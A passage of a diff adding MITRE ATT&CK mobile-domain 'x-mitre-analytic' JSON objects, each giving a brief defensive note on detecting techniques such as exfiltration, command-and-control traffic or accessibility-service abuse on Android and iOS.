"x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--56c2b384-77f8-461f-a71a-76f7888ebfb6", + "name": "User Interface", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--b1e0bb80-23d4-44f2-b919-7e9c54898f43", + "name": "Application Vetting", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "iOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--f420e242-1e51-4d1a-b063-b15240283e1f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0696#AN1810", + "external_id": "AN1810" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1810", + "description": "Network service scanning can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--9eeb7425-6979-4f77-aa7c-f9b0fe6b710e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0696#AN1811", + "external_id": "AN1811" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1811", + "description": "Network service scanning can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "iOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--7d2231b0-d62e-4d5f-bc26-99e7f14ec741", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0697#AN1812", + "external_id": "AN1812" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1812", + "description": "Application vetting services can look for applications requesting the permissions granting access to accessibility services or application overlay.\nThe user can view a list of device administrators and applications that have registered Accessibility services in device settings. Applications that register an Accessibility service should be scrutinized further for malicious behavior. ", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--b1e0bb80-23d4-44f2-b919-7e9c54898f43", + "name": "Application Vetting", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--e2f72131-14d1-411f-8e8c-aa3453dd5456", + "name": "User Interface", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--f42dbde8-e7a0-41ed-b13c-7ade678fa782", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0698#AN1813", + "external_id": "AN1813" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1813", + "description": "[Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1639)s can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--114cd15c-a02f-4bac-8ed3-3ae71c1761ec", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0698#AN1814", + "external_id": "AN1814" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1814", + "description": "[Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1639)s can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "iOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--89ee35d2-02ec-4c36-b51c-50e686eb3012", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0699#AN1815", + "external_id": "AN1815" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1815", + "description": "Mobile security products may be able to detect some forms of user evasion. Otherwise, the act of hiding malicious activity could be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--1f1d8e33-293a-4ceb-a91c-0cf71c6805ea", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0700#AN1816", + "external_id": "AN1816" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1816", + "description": "Application vetting services may provide a list of connections made or received by an application, or a list of domains contacted by the application.\nMany properly configured firewalls may naturally block bidirectional command and control traffic.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--764ee29e-48d6-4934-8e6b-7a606aaaafc0", + "name": "Application Vetting", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "Network Traffic", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--c08bd552-98fd-446d-b848-3c43b3b766f1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0700#AN1817", + "external_id": "AN1817" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1817", + "description": "Application vetting services may provide a list of connections made or received by an application, or a list of domains contacted by the application.\nMany properly configured firewalls may naturally block bidirectional command and control traffic.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--764ee29e-48d6-4934-8e6b-7a606aaaafc0", + "name": "Application Vetting", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "Network Traffic", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "iOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--ece5746f-194b-4564-9f5f-7ebf3b23542e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0701#AN1818", + "external_id": "AN1818" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1818", + "description": "[Exfiltration Over Unencrypted Non-C2 Protocol](https://attack.mitre.org/techniques/T1639/001)s can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--111bf5b3-ce1c-4f60-b1b0-deef85fc6a0a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0701#AN1819", + "external_id": "AN1819" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1819", + "description": "[Exfiltration Over Unencrypted Non-C2 Protocol](https://attack.mitre.org/techniques/T1639/001)s can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "iOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--40066e48-f70c-4fbb-a2cf-d7a385171edb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0702#AN1820", + "external_id": "AN1820" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1820", + "description": "Google sends a notification to the device when Android Device Manager is used to locate it. Additionally, Google provides the ability for users to view their general account activity and alerts users when their credentials have been used on a new device. Apple iCloud also provides notifications to users of account activity such as when credentials have been used. ", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--bf0ff551-a5a7-40e5-bff9-f9405011b1f4", + "name": "User Interface", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--6e3a93db-d2a6-43b7-9aa6-4dcf972f5e53", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0702#AN1821", + "external_id": "AN1821" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1821", + "description": "Google sends a notification to the device when Android Device Manager is used to locate it. Additionally, Google provides the ability for users to view their general account activity and alerts users when their credentials have been used on a new device. Apple iCloud also provides notifications to users of account activity such as when credentials have been used. ", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--bf0ff551-a5a7-40e5-bff9-f9405011b1f4", + "name": "User Interface", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "iOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--d2cf1cf2-7b11-4018-b5bc-fbd48633f869", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0703#AN1822", + "external_id": "AN1822" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1822", + "description": "The user can review available call logs for irregularities, such as missing or unrecognized calls.\nThe user can view their default phone app in device settings.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--bf0ff551-a5a7-40e5-bff9-f9405011b1f4", + "name": "User Interface", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--56c2b384-77f8-461f-a71a-76f7888ebfb6", + "name": "User Interface", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--ffcee6e2-02dd-4053-92a3-8600dd70445e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0704#AN1823", + "external_id": "AN1823" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1823", + "description": "Usage of insecure or malicious third-party libraries could be detected by application vetting services. Malicious software development tools could be detected by enterprises that deploy endpoint protection software on computers that are used to develop mobile apps. Application vetting could detect the usage of insecure or malicious third-party libraries.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--5ae32c6a-2d12-4b8f-81ca-f862f2be0962", + "name": "Application Vetting", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--7a209f60-7f43-407f-b5bd-7877e10222ee", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0704#AN1824", + "external_id": "AN1824" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1824", + "description": "Usage of insecure or malicious third-party libraries could be detected by application vetting services. Malicious software development tools could be detected by enterprises that deploy endpoint protection software on computers that are used to develop mobile apps. Application vetting could detect the usage of insecure or malicious third-party libraries.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--5ae32c6a-2d12-4b8f-81ca-f862f2be0962", + "name": "Application Vetting", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "iOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--9b036696-9e1e-42b9-9bfd-3ae785e7e10e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0705#AN1825", + "external_id": "AN1825" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1825", + "description": "The user can view and manage installed third-party keyboards.\nApplication vetting services can look for applications requesting the permissions granting access to accessibility services or application overlay.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--56c2b384-77f8-461f-a71a-76f7888ebfb6", + "name": "User Interface", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--b1e0bb80-23d4-44f2-b919-7e9c54898f43", + "name": "Application Vetting", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--7179bc7d-a2be-4ded-8c4f-88ec8f73e613", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0705#AN1826", + "external_id": "AN1826" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1826", + "description": "The user can view and manage installed third-party keyboards.\nApplication vetting services can look for applications requesting the permissions granting access to accessibility services or application overlay.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--56c2b384-77f8-461f-a71a-76f7888ebfb6", + "name": "User Interface", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--b1e0bb80-23d4-44f2-b919-7e9c54898f43", + "name": "Application Vetting", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "iOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--b6ef77d6-cc8b-478c-b7f8-7767bbb58960", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0706#AN1827", + "external_id": "AN1827" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1827", + "description": "Many properly configured firewalls may also naturally block command and control traffic over non-standard ports.\nApplication vetting reports may show network communications performed by the application, including hosts, ports, protocols, and URLs. Further detection would most likely be at the enterprise level, through packet and/or netflow inspection. ", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "Network Traffic", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--764ee29e-48d6-4934-8e6b-7a606aaaafc0", + "name": "Application Vetting", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--7c96d701-391d-4904-b6ba-941344aaf059", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0706#AN1828", + "external_id": "AN1828" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1828", + "description": "Many properly configured firewalls may also naturally block command and control traffic over non-standard ports.\nApplication vetting reports may show network communications performed by the application, including hosts, ports, protocols, and URLs. Further detection would most likely be at the enterprise level, through packet and/or netflow inspection. ", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "Network Traffic", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--764ee29e-48d6-4934-8e6b-7a606aaaafc0", + "name": "Application Vetting", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "iOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--07c399a0-e5ad-462d-99b9-f51ce8aa5061", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0707#AN1829", + "external_id": "AN1829" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1829", + "description": "Scheduling tasks/jobs can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--f10a7842-ddb2-488b-93ac-e53fa6476614", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0707#AN1830", + "external_id": "AN1830" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1830", + "description": "Scheduling tasks/jobs can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "iOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--4708044d-651a-40c7-a1b2-6d7f13d17d7d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0708#AN1831", + "external_id": "AN1831" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1831", + "description": "Application vetting services could look for usage of the `READ_PRIVILEGED_PHONE_STATE` Android permission. This could indicate that non-system apps are attempting to access information that they do not have access to. ", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--b1e0bb80-23d4-44f2-b919-7e9c54898f43", + "name": "Application Vetting", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--0d358eda-4f7e-462e-8201-96d8a661001d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0708#AN1832", + "external_id": "AN1832" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1832", + "description": "Application vetting services could look for usage of the `READ_PRIVILEGED_PHONE_STATE` Android permission. This could indicate that non-system apps are attempting to access information that they do not have access to. ", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--b1e0bb80-23d4-44f2-b919-7e9c54898f43", + "name": "Application Vetting", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "iOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--a3b1f9ea-184b-4429-94c0-d04c3b457b91", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + 